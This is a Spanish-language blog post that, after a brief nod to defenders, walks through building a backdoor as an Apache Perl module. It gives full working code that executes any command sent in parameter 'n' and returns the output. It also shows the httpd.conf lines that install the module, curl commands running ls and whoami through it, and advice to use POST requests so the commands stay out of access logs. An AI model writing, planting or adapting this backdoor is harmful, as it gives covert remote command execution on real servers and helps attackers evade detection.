
A la hora de pensar en cómo fortificar activos informáticos, diseñar políticas de seguridad o manejar información de un IDS, resulta importante tener todo el 'background' posible de las amenazas que te acechan.
El mundo de las 'backdoors' o herramientas destinadas a mantener un acceso ilegítimo, es muy amplio, rico y sofisticado, en el caso de Apache, parece que lo que más abunda son las típicas webshells, ficheros (normalmente en PHP) que se instalan como un CGI más pero con intención de poder ejecutar comandos a través del servidor web.
Este tipo de webshells tienen varios hándicaps:
+ Supone añadir un fichero en el directorio 'caliente' donde están las aplicaciones web.
+ Si se opta por modificar un fichero legítimo (troyanizarlo) se corre el riesgo de que en una actualización sea eliminado
En el post de hoy vamos a explicar una alternativa a las típicas webshells, vamos a crear una backdoor en forma de módulo Apache.
Crear un módulo Apache es relativamente sencillo ya que está bastante bien documentado como hacerlo, especialmente en C y Perl, optaremos por Perl para hacer un ejemplo sencillo de módulo 'backdoor' que funcione en cualquier instalación de Apache2 ahorrándonos tener que compilar nada.
El código fuente del módulo es este:
package Apache2::Auxiliar;
use strict;
use Apache2::Const qw(:common);
use Apache2::RequestIO ();
use Apache2::RequestRec ();
use Apache2::ServerUtil ();
use Apache2::ServerRec ();
use CGI ;
sub handler {
my $r = shift;
$r->content_type('text/html');
my $q = new CGI($r);
my $comando = $q->param('n') ;
my $respuesta = `$comando` ;
$r->print(<<END);
<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>
$respuesta
</BODY>
</HTML>
END
return OK;
}
1;
Como se puede observar, bastante simple y sencillo, básicamente toma como parámetro (n) el comando a ejecutar, este comando es ejecutado, y se envía el resultado.
Para instalarlo, debemos copiar el fichero Auxiliar.pm (con el código anterior) en /usr/lib64/perl5/Apache2/ (ruta de una CentOS 6, otras distribuciones puede variar, especialmente si la arquitectura es 32bits)
Una vez copiado, necesitamos añadir las siguientes líneas en httpd.conf
<Location /auxiliar>
SetHandler perl-script
PerlHandler Apache2::Auxiliar
</Location>
Reiniciamos el servidor, y si todo ha ido bien, ya tenemos disponible nuestra backdoor en forma de módulo.
La probamos:
$ curl -d "n=ls" http://192.168.4.66/auxiliar
<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>
bin
boot
cgroup
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
</BODY>
$ curl -d "n=whoami" http://192.168.4.66/auxiliar
<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>
apache
</BODY>
</HTML>
Funciona perfectamente. Es muy importante usar siempre peticiones de tipo POST, para evitar que quede logeado más de la cuenta:
Petición tipo GET almacenada en fichero de log:
GET /auxiliar?n=ls HTTP/1.1
Petición tipo POST almacenada en fichero de log:
POST /auxiliar HTTP/1.1